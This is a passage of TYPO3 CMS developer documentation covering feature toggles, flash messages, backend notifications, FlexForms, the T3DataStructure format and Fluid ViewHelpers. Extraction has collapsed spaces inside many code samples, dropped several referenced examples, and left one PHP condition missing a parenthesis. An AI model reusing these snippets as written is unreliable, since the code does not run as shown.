useDoctrineQueries
disablePreparedStatements
disableHooksInFE
Good examples:
extendedRichtextFormat
nativeYamlParser
inlinePageTranslations
typoScriptParserIncludesAsXml
nativeDoctrineQueries
Using the API as extension author
For extension authors, the API can be used for any custom feature provided by an
extension.
To register a feature and set the default state, add the following to the
ext_localconf.php file of your extension:
EXT:some_extension/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['myFeatureName'] ??= true; // or false;
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To check if a feature is enabled, use this code:
EXT:some_extension/Classes/SomeClass.php
useTYPO3\CMS\Core\Configuration\Features;
finalclassSomeClass{
publicfunction__construct(
private readonly Features $features,
){
}
publicfunctiondoSomething(): void{
if ($this->features->isFeatureEnabled('myFeatureName') {
// do custom processing
}
// ...
}
}
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Attention
Currently, only the Core features can be (de-)activated in the Install Tool.
To change the setting for your extension feature either use
config/system/settings.php or config/system/additional.php
files like:
The name can be any arbitrary string, but an extension author should prefix the
feature with the extension name as the features are global switches which
otherwise might lead to naming conflicts.
Core feature toggles
Some examples for feature toggles in the TYPO3 Core:
redirects.hitCount: Enables hit statistics in the redirects backend module
security.backend.enforceReferrer: If on, HTTP referrer headers are enforced
for backend and install tool requests to mitigate potential same-site
request forgery attacks.
Enable / disable feature toggle
Features can be toggled in the Admin Tools > Settings module via
Feature Toggles:
Internally, the changes are written to config/system/settings.php:
If the config/system/settings.php file is write-protected an info
box is rendered. In that case, all input fields are disabled and the save
button is not available.
Feature toggles in TypoScript
One can check whether a feature is enabled in TypoScript with the function
feature():
With the before and after options, priority can be defined.
Note
Only one file processor will handle any given file. Once the first match for
canProcessTask() has been found, this is the
processor that will handle the file. There is no cascading or sequence possible, so make sure your processor does all the work
necessary.
Flash messages
There exists a generic system to show users that an action
was performed successfully, or more importantly, failed. This system
is known as "flash messages". The screenshot below shows the various
severity levels of messages that can be emitted.
The "EXT:examples" backend module shows one of each type of flash message
The different severity levels are described below:
Notifications are used to show very low severity information. Such
information usually is so unimportant that it can be left out, unless
running in some kind of debug mode.
Information messages are to give the user some information that might
be good to know.
OK messages are to signal a user about a successfully executed action.
Warning messages show a user that some action might be dangerous,
cause trouble or might have partially failed.
Error messages are to signal failed actions, security issues, errors
and the like.
[optional] the severity (default:
ContextualFeedbackSeverity::OK)
$storeInSession
[optional]
true: store in the session or
false: store
only in the
\TYPO3\CMS\Core\Messaging\FlashMessageQueue object. Storage
in the session should be used if you need the message to be still present after
a redirection (default:
false).
Flash messages severities
Changed in version 13.0
The previous class constants of
\TYPO3\CMS\Core\Messaging\FlashMessage
have been removed with TYPO3 v13.0.
The severity is defined by using the
\TYPO3\CMS\Core\Type\ContextualFeedbackSeverity enumeration:
ContextualFeedbackSeverity::NOTICE for notifications
ContextualFeedbackSeverity::INFO for information messages
ContextualFeedbackSeverity::OK for success messages
ContextualFeedbackSeverity::WARNING for warnings
ContextualFeedbackSeverity::ERROR for errors
Add a flash message to the queue
In backend modules you can then make that message appear on top of the
module after a page refresh or the rendering of the next page request
or render it on your own where ever you want.
In this example the
FlashMessageService (
\TYPO3\CMS\Core\Messaging\FlashMessageService )
is used to add a flash message at the bottom right of a module:
The message is added to the queue and then the template class calls
\TYPO3\CMS\Core\Messaging\FlashMessageQueue::renderFlashMessages() which renders all
messages from the queue as inline flash messages. Here's how such a message looks like in a module:
A typical (success) message shown at the top of a module
This shows flash messages with 2 types of rendering mechanisms:
several flash messages are displayed inline
and an additional flash message ("Record count") is rendered as top-right
notification (which automatically disappear after a short delay).
Use the
FlashMessageQueue::NOTIFICATION_QUEUE to submit a flash message
as top-right notifications, instead of inline:
useTYPO3\CMS\Core\Messaging\FlashMessage;
useTYPO3\CMS\Core\Messaging\FlashMessageQueue;
useTYPO3\CMS\Core\Messaging\FlashMessageService;
useTYPO3\CMS\Core\Type\ContextualFeedbackSeverity;
useTYPO3\CMS\Core\Utility\GeneralUtility;
$flashMessageService = GeneralUtility::makeInstance(FlashMessageService::class);
$notificationQueue = $flashMessageService->getMessageQueueByIdentifier(
FlashMessageQueue::NOTIFICATION_QUEUE
);
$flashMessage = GeneralUtility::makeInstance(
FlashMessage::class,
'I am a message rendered as notification',
'Hooray!',
ContextualFeedbackSeverity::OK
);
$notificationQueue->enqueue($flashMessage);
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The recommended way to show flash messages is to use the Fluid ViewHelper
<f:flashMessages />.
This ViewHelper works in any context because it uses the
FlashMessageRendererResolver class
to find the correct renderer for the current context.
Flash messages in Extbase
In Extbase, the standard way of issuing flash messages is to add them
in the controller. Code from the "examples" extension:
$this->addFlashMessage('This is a simple success message');
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Warning
You cannot call this function in the constructor of a controller
or in an initialize action as it needs some internal data
structures to be initialized.
// use TYPO3\CMS\Core\Type\ContextualFeedbackSeverity;$this->addFlashMessage(
'This message is forced to be NOT stored in the session by setting the fourth argument to FALSE.',
'Success',
ContextualFeedbackSeverity::OK,
false
);
Where to display the flash messages in an Extbase-based backend module is
as simple as moving the ViewHelper around.
By default, all messages are put into the scope of the
current plugin namespace with a prefix extbase.flashmessages.. So
if your plugin namespace is computed as tx_myvendor_myplugin, the
flash message queue identifier will be
extbase.flashmessages.tx_myvendor_myplugin.
Using explicit flash message queues in Extbase
It is possible to add a message to a different flash message queue. Use
cases could be a detailed display of different flash message queues in
different places of the page or displaying a flash message when you
forward to a different controller or even a different extension.
If you need distinct queues, you can use a custom identifier to fetch
and operate on that queue:
$customQueue = $this->getFlashMessageQueue('tx_myvendor_customqueue');
// Instead of using $this->addFlashMessage() you will instead directly// access the custom queue:
$flashMessage = GeneralUtility::makeInstance(
FlashMessage::class,
'My flash message in a custom queue',
'My flash message title of a custom queue',
ContextualFeedbackSeverity::OK,
$storeInSession = true,
);
$customQueue->enqueue($flashMessage);
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Fluid flash messages ViewHelper with explicit queue identifier
The implementation of rendering FlashMessages in the Core has been optimized.
A new class called
\TYPO3\CMS\Core\Messaging\FlashMessageRendererResolver
has been introduced. This class detects the context and renders the given
FlashMessages in the correct output format.
It can handle any kind of output format.
The Core ships with the following FlashMessageRenderer classes:
\TYPO3\CMS\Core\Messaging\Renderer\BootstrapRenderer
This renderer is used by default in the TYPO3 backend.
The output is based on Bootstrap markup.
\TYPO3\CMS\Core\Messaging\Renderer\ListRenderer
This renderer is used by default in the TYPO3 frontend.
The output is a simple
<ul> list.
\TYPO3\CMS\Core\Messaging\Renderer\PlaintextRenderer
This renderer is used by default in the CLI context.
The output is plain text.
All new rendering classes have to implement the
\TYPO3\CMS\Core\Messaging\Renderer\FlashMessageRendererInterface interface.
If you need a special output format, you can implement your own renderer class and use it:
The Core has been modified to use the new
FlashMessageRendererResolver.
Any third party extension should use the provided
FlashMessageViewHelper
or the new
FlashMessageRendererResolver class:
The notification API is designed for TYPO3 backend purposes only.
The TYPO3 Core provides a JavaScript-based API called
Notification to
trigger flash messages that appear in the bottom right corner of the TYPO3
backend. To use the notification API, load the
TYPO3/CMS/Backend/Notification module and use one of its methods:
notice()
info()
success()
warning()
error()
All methods accept the same arguments:
title
|Condition: required
|Type: string
|
Contains the title of the notification.
message
|Condition: optional
|Type: string
|Default: ''
|
The actual message that describes the purpose of the notification.
duration
|Condition: optional
|Type: number
|Default: '5 (0 for
error())'
|
The amount of seconds how long a notification will stay visible.
A value of 0 disables the timer.
require(['TYPO3/CMS/Backend/Notification'], function (Notification) {
Notification.success('Well done', 'Whatever you did, it was successful.');
});
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Actions
The notification API may bind actions to a notification that execute certain
tasks when invoked. Each action item is an object containing the
fields
label and
action:
An instance of either ImmediateAction
(
@typo3/backend/action-button/immediate-action.js)
or DeferredAction
(
@typo3/backend/action-button/deferred-action.js).
Attention
Any action must be optional to be executed. If triggering an action is
mandatory, consider using a modal instead.
Immediate action
An action of type
ImmediateAction
(
@typo3/backend/action-button/immediate-action.js) is executed directly on
click and closes the notification. This action type is suitable for e.g.
linking to a backend module.
The class accepts a callback method executing very simple logic.
import Notification from"@typo3/backend/notification.js";
import ImmediateAction from"@typo3/backend/action-button/immediate-action.js";
import ModuleMenu from"@typo3/backend/module-menu.js";
class_flashMessageImmediateActionDemo{
constructor() {
const immediateActionCallback = new ImmediateAction(function () {
ModuleMenu.App.showModule('web_layout');
});
Notification.info('Nearly there', 'You may head to the Page module to see what we did for you', 10, [
{
label: 'Go to module',
action: immediateActionCallback
}
]);
}
}
exportdefaultnew _flashMessageImmediateActionDemo();
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To stay compatible with both TYPO3 v11 and v12 the (deprecated) RequireJS module can
still be used:
require(['TYPO3/CMS/Backend/Notification', 'TYPO3/CMS/Backend/ActionButton/ImmediateAction'], function (Notification, ImmediateAction) {
const immediateActionCallback = new ImmediateAction(function () {
require(['TYPO3/CMS/Backend/ModuleMenu'], function (ModuleMenu) {
ModuleMenu.showModule('web_layout');
});
});
Notification.info('Nearly there', 'You may head to the Page module to see what we did for you', 10, [
{
label: 'Go to module',
action: immediateActionCallback
}
]);
});
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Deferred action
An action of type
DeferredAction (
@typo3/backend/action-button/deferred-action.js)
is recommended when a long-lasting task is executed, e.g. an Ajax request.
This class accepts a callback method which must return a
Promise
(read more at developer.mozilla.org).
The
DeferredAction replaces the action button with a spinner icon to
indicate a task will take some time. It is still possible to dismiss the
notification, which will not stop the execution.
require(['jquery', 'TYPO3/CMS/Backend/Notification', 'TYPO3/CMS/Backend/ActionButton/DeferredAction'], function ($, Notification, DeferredAction) {
const deferredActionCallback = new DeferredAction(function () {
returnPromise.resolve($.ajax(/* Ajax configuration */));
});
Notification.warning('Goblins ahead', 'It may become dangerous at this point.', 10, [
{
label: 'Delete the internet',
action: deferredActionCallback
}
]);
});
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FlexForms
FlexForms can be used to store data within an XML structure inside a single DB
column.
More information on this data structure is available in the section
T3DataStructure.
FlexForms can be used to configure content elements (CE) or plugins, but they are optional so you can create plugins or
content elements without using FlexForms.
Most of the configuration below is the same, whether you are adding configuration
for a plugin or content element. The main difference is how
addPiFlexFormValue()
is used.
You may want to configure
individual plugins or content elements differently, depending on where they are added. The
configuration set via the FlexForm mechanism applies to only the content
record it has been configured for. The FlexForms configuration for a plugin or CE
can be changed by editors in the backend. This gives editors more control
over plugin features and what is to be rendered.
Using FlexForms you have all the features of TCA, so it is possible
to use input fields, select lists, show options conditionally and more.
Changed in version 13.0
The superfluous tag
TCEforms was removed and is not evaluated
anymore. Its sole purpose was to wrap real TCA definitions. The
TCEforms tags must be removed upon dropping TYPO3 v11 support.
Example use cases
The bootstrap_package
uses FlexForms to configure rendering options,
e.g. a transition interval and transition type (slide, fade)
for the carousel content element.
The carousel content element of EXT:bootstrap_package
Another extensions that utilize FlexForms and can be used as example is:
In the extension, a configuration schema is defined and attached to
one or more content elements or plugins.
When the CE or plugin is added to a page, it can be configured as defined
by the configuration
schema.
The configuration for this content element is automatically saved to tt_content.pi_flexform.
The extension can read current configuration and act according to
the configuration.
Tip
The data structure of a FlexForm may change over time. Also, when switching
from one plugin with a FlexForm to another plugin with a FlexForm in an
element, the old values are not removed in the FlexForm field. This
may cause problems and errors. You can avoid this by calling the
CLI command cleanup:flexforms which is
provided by the lowlevel system extension. It
updates all database records which have a FlexForm field and the XML data
does not match the chosen data structure.
<?php/*
* This file is part of the TYPO3 CMS project. [...]
*/useTYPO3\CMS\Core\Schema\Struct\SelectItem;
useTYPO3\CMS\Core\Utility\ExtensionManagementUtility;
/*
* This file is part of the TYPO3 CMS project. [...]
*/
defined('TYPO3') ordie();
$pluginSignature = 'examples_haiku_list';
ExtensionManagementUtility::addPlugin(
new SelectItem(
'select',
'LLL:EXT:examples/Resources/Private/Language/PluginHaiku/locallang_db.xlf:list.title',
$pluginSignature,
'tx_examples-haiku','plugins','LLL:EXT:examples/Resources/Private/Language/PluginHaiku/locallang_db.xlf:list.description', ),'CType',
'examples',
);
ExtensionManagementUtility::addToAllTCAtypes(
'tt_content',
'--div--;Configuration,pi_flexform,',
$pluginSignature,
'after:subheader',
);
ExtensionManagementUtility::addPiFlexFormValue(
'*',
'FILE:EXT:examples/Configuration/Flexforms/PluginHaikuList.xml',
$pluginSignature,
);
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When registering Extbase plugins you can use the return value of
ExtensionUtility::registerPlugin() to figure out the plugin
signature to use:
Finally, according to "Configuration of the displayed order of fields in FormEngine
and their tab alignment." the field containing the FlexForm still needs to be
added to the showitem directive.
The following example shows line from the accordion element of the Bootstrap Package.
Some settings may only make sense, depending on other settings.
For example in one setting you define a sorting order (by date, title etc.)
and all sort orders except "title" have additional settings. These
should only be visible, if sort order "title" was not selected.
You can define conditions using displayCond. This dynamically defines
whether a setting should be displayed when the plugin is configured.
The conditions may for example depend on one or more other settings in the FlexForm,
on database fields of current record or be defined by a user function.
<config><type>select</type></config><!-- Hide field if value of neighbour field "settings.orderBy" on same sheet is not "title" --><displayCond>FIELD:settings.orderBy:!=:title</displayCond>
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Again, the syntax and available fields and comparison operators is documented
in the TCA reference:
Especially in combination with conditionally displaying settings with
displayCond, you may want to trigger
a reloading of the form when specific settings are changed. You
can do that with:
If you wish to access a setting from your controller via
$this->settings, the name of the setting must be prefixed with settings.,
so literally settings directly followed by a dot (.).
Read FlexForms values in PHP
You can use the
FlexFormService to read the content of a FlexForm field:
The result of
GeneralUtility::xml2array() preserves the internal
structure of the XML FlexForm, and is usually used to modify a FlexForm
string. See section How to modify FlexForms from PHP for an example.
Some situation make it necessary to modify FlexForms via PHP.
In order to convert a FlexForm to a PHP array, preserving the structure,
the
xml2array method in
GeneralUtility can be used to read
the FlexForm data, then the
FlexFormTools can be used to write back the
changes.
Changed in version 13.0
\TYPO3\CMS\Core\Configuration\FlexForm\FlexFormTools is now a stateless
service and can be injected via Dependency injection.
FlexFormTools::flexArray2Xml() is now marked as internal.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Service;
useTYPO3\CMS\Core\Configuration\FlexForm\FlexFormTools;
useTYPO3\CMS\Core\Utility\GeneralUtility;
class_FlexformModificationService{
publicfunction__construct(
protected readonly FlexFormTools $flexFormTools,
){}
publicfunctionmodifyFlexForm(string $flexFormString): string{
$flexFormArray = GeneralUtility::xml2array($flexFormString);
$changedFlexFormArray = $this->doSomething($flexFormArray);
// Attention: flexArray2Xml is internal and subject to// be changed without notice. Use at your own risk!return$this->flexFormTools->flexArray2Xml($changedFlexFormArray, addPrologue: true);
}
privatefunctiondoSomething(array $flexFormArray): array{
// do something to the arrayreturn $flexFormArray;
}
}
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Note
The method FlexFormTools::flexArray2Xml() is marked as internal and subject
to unannounced changes. Use at your own risk.
How to access FlexForms From TypoScript
It is possible to read FlexForm properties from TypoScript:
lib.flexformContent = CONTENT
lib.flexformContent {
table = tt_content
select {
pidInList = this
}
renderObj = COA
renderObj {
10 = TEXT10 {
data = flexform: pi_flexform:settings.categories
}
}
}
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The key flexform is followed by the field which holds the FlexForm data
(pi_flexform) and the name of the property whose content should be retrieved
(settings.categories).
When a new content element with an attached FlexForm is created, the
default values for each FlexForm attribute is fetched from the
<default> XML attribute within the specification of each
FlexForm attribute. If that is missing, an empty value will be
shown in the backend (FormEngine)
fields.
While you can use page TSconfig's TCAdefaults to
modify defaults of usual TCA-based attributes, this is not
possible on FlexForms. This is because the values are calculated
at an earlier step in the Core workflow, where FlexForm values
have not yet been extracted.
In order to have all FlexForm fields available, you can use the FlexFormProcessor. See also
FlexFormProcessor in the TypoScript Reference.
This example would make your FlexForm data available as Fluid variable
{myOutputVariable}:
TYPO3 offers an XML format, T3DataStructure, which defines a
hierarchical data structure. In itself the data structure definition
does not do much - it is only a back bone for higher level applications
which can add their own configuration inside.
The T3DataStructure could be used for different applications in theory, however it
is commonly only used in the context of FlexForms.
FlexForms are used in the contexts:
TCA form type FlexForms:
The type allows users to build
information hierarchies (in XML) according to the data structure. In
this sense the Data Structure is like a DTD (Document Type
Definition) for the backend which can render a dynamic form based on
the Data Structure.
The configuration of plugins of many common extensions with FlexForms like
news.
FlexForms can be used for containers created by the extensions like
container or
gridelements
dce an an extension to
create content elements based on FlexForms.
This documentation of a data structure will document the general
aspects of the XML format and leave the details about FlexForms and
TemplaVoila to be documented elsewhere.
Some other facts about Data Structures (DS):
A Data Structure is defined in XML with the document tag named
"<T3DataStructure>"
The XML format generally complies with what can be converted into a
PHP array by
GeneralUtility::xml2array() - thus it directly reflects how a
multidimensional PHP array is constructed.
A Data Structure can be arranged in a set of "sheets". The purpose of
sheets will depend on the application. Basically sheets are like a
one-dimensional internal categorization of Data Structures.
Parsing a Data Structure into a PHP array can be achieved by passing it to
GeneralUtility::xml2array() (see the Parsing a Data Structure section).
"DS" is sometimes used as short for Data Structure
This is the list of elements and their nesting in the Data Structure.
Elements Nesting Other Elements ("Array" Elements)
All elements defined here cannot contain any string value but must
contain another set of elements.
(In a PHP array this corresponds to saying that all these elements
must be arrays.)
Element
Description
Child elements
<T3DataStructure>
Document tag
<meta>
<ROOT> or <sheets>
<meta>
Can contain application specific meta settings
(depends on application)
<ROOT>
<[field name]>
Defines an "object" in the Data Structure
<ROOT> is reserved as tag for the first element in the Data
Structure.The <ROOT> element must have a <type> tag with the value
"array" and then define other objects nested in <el> tags.
[field name] defines the objects name
<type>
<section>
<el>
<[application tag]>
<sheets>
Defines a collection of "sheets" which is like a one-dimensional list
of independent Data Structures
<[sheet name]>
<sheetTitle>
Title of the sheet. Mandatory for any sheet except the first (which
gets "General" in this case). Can be a plain string or a reference to
language file using standard LLL syntax. Ignored if sheets are not
defined for the flexform.
<displayCond>
Condition that must be met in order for the sheet to be displayed.
If the condition is not met, the sheet is hidden.
For more details refer to the description of the "displayCond" property
in the TCA Reference.
<[sheet ident]>
Defines an independent data structure starting with a <ROOT> tag.
Note
Alternatively it can be a plain value referring to another
XML file which contains the <ROOT> structure. See example later.
<ROOT>
<el>
Contains a collection of Data Structure "objects"
<[field name]>
Elements can use the attribute
type to define their type, for example explicitly use boolean.
An example would look like:
<requiredtype="boolean">1</required>
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Elements Containing Values ("Value" Elements)
All elements defined here must contain a string value and no other XML
tags whatsoever!
(In a PHP array this corresponds to saying that all these elements
must be strings or integers.)
Element
Format
Description
<type>
Keyword string:
"array", [blank] (=default)
Defines the type of object.
"array" means that the object contains a collection of other
objects defined inside the <el> tag on the same level. If the value is
"array" you can use the boolean "<section>". See below.
Default value means that the object does not contain sub objects. The
meaning of such an object is determined by the application using the
data structure. For FlexForms this object would draw a form element.
Note
If the object was <ROOT> this tag must have the value "array"
<section>
Boolean
Defines for an object of the type <array> that it must contain other
"array" type objects in each item of <el>. The meaning of this is application specific. For
FlexForms it will allow the user to select between possible arrays of
objects to create in the form. This is similar to the concept of
IRRE / inline TCA definitions.
Changed in version 13.0
The usage of available element types within FlexForm sections is
restricted. You should only use simple TCA types like
type => 'input' within sections, and relations (
type =>
'group',
type => 'inline',
type => 'select' and similar)
should be avoided.
TYPO3 v13 specifically disallows using
type => 'select' with
a
foreign_table set, which will raise an exception.
This does not apply for FlexForm fields outside of a
<section>.
Details can be found in
Breaking: #102970 - No database relations in FlexForm container sections.
Example
Below is the structure of a basic FlexForm from the example extension
typo3/cms-styleguide
:
For a more elaborate example, have a look at the plugin configuration of
system extension felogin (EXT:felogin/Configuration/FlexForms/Login.xml (GitHub)).
It shows an example of relative complex data structure used in a FlexForm.
If Data Structures are arranged in a collection of sheets you can
choose to store one or more sheets externally in separate files. This
is done by setting the value of the <[sheet ident]> tag to a relative
file reference instead of being a definition of the <ROOT> element.
Example
Taking the Data Structure from the previous example
we could rearrange it in separate files:
and the same for the other sheet welcome_sheet.xml.
Parsing a Data Structure
You can convert a Data Structure XML document into a PHP array by using the
function
\TYPO3\CMS\Core\Utility\GeneralUtility::xml2array().
The reverse transformation is achieved using
\TYPO3\CMS\Core\Utility\GeneralUtility::array2xml().
If the Data Structure uses referenced sheets, for example
Fluid is TYPO3’s default rendering engine but can also be used in standalone PHP projects.
The Fluid source code is being developed as an
independent project outside of the TYPO3 Core.
Fluid is based on XML and you can use HTML markup in Fluid.
Fluid ViewHelpers can be used for various purposes. Some transform data, some include
Partials, some loop over data or even set variables. You can find a complete list of
them in the ViewHelper Reference.
<h4>This is your headline</h4><p><f:ifcondition="{myExpression}"><f:then>
{somevariable}
</f:then><f:else>
{someothervariable}
</f:else></f:if></p>
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The resulting HTML may look like this:
Example frontend output
<h4>This is your headline</h4><p>This is the content of variable "somevariable"</p>
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The above Fluid snippet contains:
ViewHelpers:
The XML elements that start with f: like <f:if> etc. are standard ViewHelpers.
It is also possible to define custom ViewHelpers, for example
<foo:bar foo="bar">. A corresponding file ViewHelpers/BarViewHelper.php
with the methods initializeArguments and render contains the HTML generation logic.
ViewHelpers are Fluid components which make a function call to PHP from inside of a template.
TYPO3 adds some more ViewHelpers for TYPO3 specific functionality.
Fluid uses placeholders to fill content in specified areas in the template
where the result is rendered when the template is evaluated. Content within
braces (for example
{somevariable}) can contain variables or expressions.
In your extension, the following directory structure should be used for Fluid files:
EXT:my_extension/
Resources
Private
Layouts
All layouts go here
Partials
All partials go here
Templates
All templates go here
This directory structure is the convention used by TYPO3. When using Fluid outside of
TYPO3 you can use any folder structure you like.
If you are using Extbase controller actions in combination with Fluid,
Extbase defines how files and directories should be named within these directories.
Extbase uses sub directories located within the "Templates" directory to group
templates by controller name and the filename of templates to correspond to a
certain action on that controller.
EXT:my_extension/
Resources
Private
Templates
Blog
List.html (for Blog->list() action)
Show.html (for Blog->show() action)
If you don't use Extbase you can still use this convention, but it is not a
requirement to use this structure to group templates into logical groups, such
as "Page" and "Content" to group different types of templates.
In Fluid, the location of these paths is defined with
\TYPO3Fluid\Fluid\Core\Rendering\RenderingContext->setTemplatePaths().
TYPO3 provides the possibility to set the paths using TypoScript.
Templates
The template contains the main Fluid template.
Layouts
optional
Layouts serve as a wrapper for a web page or a specific block of content. If using Fluid
for a sitepackage, a single layout file will often contain multiple components such as your
sites menu, footer, and any other items that are reused throughout your website.
Templates can be used with or without a layout.
With a Layout
anything that's not inside a section is ignored. When a
Layout is used, the Layout determines which sections will be rendered
from the template through the use of the
Render ViewHelper <f:render>
in the layout file.
Without a Layout
anything that's not inside a section is rendered. You
can still use sections of course, but you then must use
Render ViewHelper <f:render> in the
template file itself, outside of a section, to render a section.
The layout defines which sections are rendered and in which order. It can
contain additional arbitrary Fluid / HTML. How you name the sections and which
sections you use is up to you.
The corresponding template should include the sections which are to be rendered.
<f:layoutname="Default" /><f:sectionname="Header"><!-- add header here ! --></f:section><f:sectionname="Main"><!-- add main content here ! --></f:section>
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Partials
optional
Some parts within different templates might be the same. To not repeat this part
in multiple templates, Fluid offers so-called partials. Partials are small pieces
of Fluid template within a separate file that can be included in multiple templates.
Partials are stored, by convention, within Resources/Private/Partials/.
Within Fluid, the ViewHelper is used as a special HTML element with a namespace
prefix, for example the namespace prefix "f" is used for ViewHelpers from the
Fluid namespace:
Here, we are using a custom ViewHelper within the namespace "blog". The namespace
must be registered explicitly, see the next section.
Import ViewHelper namespaces
There are 3 ways to import ViewHelper namespaces in TYPO3. In all three examples
blog is the namespace available within the Fluid template and
MyVendor\BlogExample\ViewHelpers is the PHP namespace to import into Fluid.
This is useful for various IDEs and HTML auto-completion. The
<html>
element itself will not be rendered if the attribute
data-namespace-typo3-fluid="true" is specified.
The namespace is built using the fixed http://typo3.org/ns prefix followed
by the vendor name, package name and the fixed ViewHelpers suffix.
Important
Do not use https://typo3.org (HTTPS instead of HTTP). Fluid would not be
able to detect this namespace to convert it to PHP class name prefixes.
Remember: This is a unique XML namespace, it does not need to contain a valid URI.
Each of the rows will result in a blank line. Multiple import statements can go
into a single or multiple lines.
Global namespace import
Fluid allows to register global namespaces. This is already done for
typo3/cms-fluid and typo3fluid/fluid ViewHelpers. Therefore they are always
available via the f namespace.
Custom ViewHelpers, for example for a site package, can be registered the same way.
Namespaces are registered within
$GLOBALS['TYPO3_CONF_VARS']['SYS']['fluid']['namespaces'] , for example:
<!-- tag based notation --><f:translatekey="LLL:EXT:core/Resources/Private/Language/locallang_misc.xlf:bookmark_inactive"/><!-- inline notation -->
{f:translate(key: 'LLL:EXT:core/Resources/Private/Language/locallang_misc.xlf:bookmark_inactive')}
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Tag based notation and inline notation can be freely mixed within one Fluid
template.
Inline notation is often a better choice if HTML tags are nested, for example:
<!-- tag based notation --><spantitle="<f:translate key='LLL:EXT:core/Resources/Private/Language/locallang_misc.xlf:bookmark_inactive'/>"><--inlinenotation--><spantitle="{f:translate(key: 'LLL:EXT:core/Resources/Private/Language/locallang_misc.xlf:bookmark_inactive')}">
The content of the Comment ViewHelper <f:comment> is removed
before parsing. It is no longer necessary to combine it with CDATA tags
to disable parsing.
Here are some examples of how Fluid can be used in TYPO3:
Create a template (theme) using a combination of TypoScript
FLUIDTEMPLATE and Fluid.
Check out the TYPO3 site package tutorial which walks you through the
creation of a sitepackage extension.
These classes were marked as deprecated in TYPO3 v13.3 and have been
removed in v14:
\TYPO3\CMS\Fluid\View\StandaloneView
\TYPO3\CMS\Fluid\View\TemplateView
\TYPO3\CMS\Fluid\View\AbstractTemplateView
\TYPO3\CMS\Extbase\Mvc\View\ViewResolverInterface
\TYPO3\CMS\Extbase\Mvc\View\GenericViewResolver
Using the generic view factory (ViewFactoryInterface)
New in version 13.3
Class
\TYPO3\CMS\Core\View\ViewFactoryInterface has been added as a
generic view factory interface to create views that return an instance of
\TYPO3\CMS\Core\View\ViewInterface . This implements the "V" of "MVC"
in a generic way and is used throughout the TYPO3 core.
You can inject an instance of the
\TYPO3\CMS\Core\View\ViewFactoryInterface to create an instance of a
\TYPO3\CMS\Core\View\ViewInterface where you need one.
Note
Extbase-based controllers create a view
instance based on this factory by default and which is accessible as
$this->view.
Use the tuple $templateRootPaths, $partialRootPaths and
$layoutRootPaths if possible by providing an array of "base" paths
like 'EXT:my_extension/Resources/Private/(Templates|Partials|Layouts)'
Avoid using parameter $templatePathAndFilename
Call render('path/within/templateRootPath') without file-ending on the
returned ViewInterface instance.
cObject ViewHelper
The cObject ViewHelper combines Fluid with TypoScript.
The following line in the HTML template will be replaced with the referenced
TypoScript object.
TypoScript is a flexible configuration language, which can control
the rendering of a page in much detail. It consists of TypoScript objects
(also known as
Content object or
cObject) and
their configuration options.
The simplest
Content object is
TEXT
which outputs unmodified text. The TypoScript object
IMAGE
can be used to generate images, and database entries can be outputted
with
CONTENT.
So far, it's not a "real world" example because no data is
being passed from Fluid to the TypoScript. We'll demonstrate how to pass
a parameter to the TypoScript with the example of a user counter. The value
of our user counter should come from the Blog-Post. (Every Blog-Post should
count how many times it's been viewed in this example).
Now we still have to evaluate the passed value in our TypoScript
template. We can use the
stdWrap attribute
current
to achieve this. It works like a switch: If set to 1, the value, which we
passed to the TypoScript object in the Fluid template will be used. In our
example, it looks like this:
At the moment, we're only passing a single value to the TypoScript.
It's more versatile, though, to pass multiple values to the TypoScript object
because then you can select which value to use in the TypoScript, and the
values can be concatenated. You can also pass whole objects to the
ViewHelper in the template:
lib.myCounter = COA
lib.myCounter {
10 = TEXT10.field = title
20 = TEXT20.field = viewCount
wrap = (<strong>|</strong>)
}
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Now we always output the title of the blog, followed by the amount of
page visits in parenthesis in the example above.
You can also combine the
field based approach with
current: If you set the property
currentValueKey
in the cObject ViewHelper, this value will be available in
the TypoScript template with
current. That is especially useful
when you want to emphasize that the value is very
important for the TypoScript template. For example, the
amount of visits is significant in our view
counter:
In the TypoScript template you can now use both,
current
and
field, and have therefor the maximum flexibility with the
greatest readability. The following TypoScript snippet outputs the same
information as the previous example:
lib.myCounter = COA
lib.myCounter {
10 = TEXT10.field = title
20 = TEXT20.current = 1
wrap = (<strong>|</strong>)
}
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The cObject ViewHelper is a powerful option to use the
best advantages of both worlds by making it possible to embed TypoScript
expressions in Fluid templates.
Property additionalAttributes
All Fluid ViewHelper that create exactly one HTML tag, tag-based ViewHelpers,
can get passed the property
additionalAttributes.
A tag-based Fluid ViewHelper generally supports most attributes that are
also available in HTML. There are, for example, the attributes class and
id, which exist in all tag-based ViewHelpers.
Sometimes attributes are needed that are not provided by the
ViewHelper. A common example are data attributes.
The property additionalAttributes is especially helpful if only a
few of these additional attributes are needed. Otherwise, it is often
reasonable to write an own ViewHelper which extends the corresponding
ViewHelper.
The property additionalAttributes is provided by the
TagBasedViewHelper so it is also available to custom ViewHelpers
based on this class. See chapter Developing a custom ViewHelper.
Developing a custom ViewHelper
Deprecated since version Fluid v2.15 (TYPO3 v13.3 / TYPO3 12.4)
The traits
\TYPO3Fluid\Fluid\Core\ViewHelper\Traits\CompileWithRenderStatic and
\TYPO3Fluid\Fluid\Core\ViewHelper\Traits\CompileWithContentArgumentAndRender
are deprecated. See section migration.
This chapter demonstrates how to write a custom Fluid ViewHelper in TYPO3.
A "Gravatar" ViewHelper is created, which uses an email address as parameter
and shows the picture from gravatar.com if it exists.
The official documentation of Fluid for writing custom ViewHelpers can be found
within the Fluid documentation: Creating ViewHelpers.
The custom ViewHelper is not part of the default distribution. Therefore a
namespace import is necessary to use this ViewHelper. In the following example,
the namespace
\MyVendor\MyExtension\ViewHelpers is imported with the
prefix m. Now, all tags starting with m: are interpreted as
ViewHelper from within this namespace.
For further information about namespace import, see
Import ViewHelper namespaces.
The ViewHelper should be given the name "gravatar" and take an email
address and an optional alt-text as a parameters.
The ViewHelper is called in the template as follows:
<htmlxmlns:f="http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers"xmlns:m="http://typo3.org/ns/MyVendor/MyExtension/ViewHelpers"data-namespace-typo3-fluid="true"
><m:gravataremailAddress="username@example.org"alt="Gravatar icon of user" /></html>
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AbstractViewHelper implementation
Every ViewHelper is a PHP class. For the Gravatar ViewHelper, the fully
qualified name of the class is
\MyVendor\MyExtension\ViewHelpers\GravatarViewHelper.
Example 1: EXT:my_extension/Classes/ViewHelpers/GravatarViewHelper.php
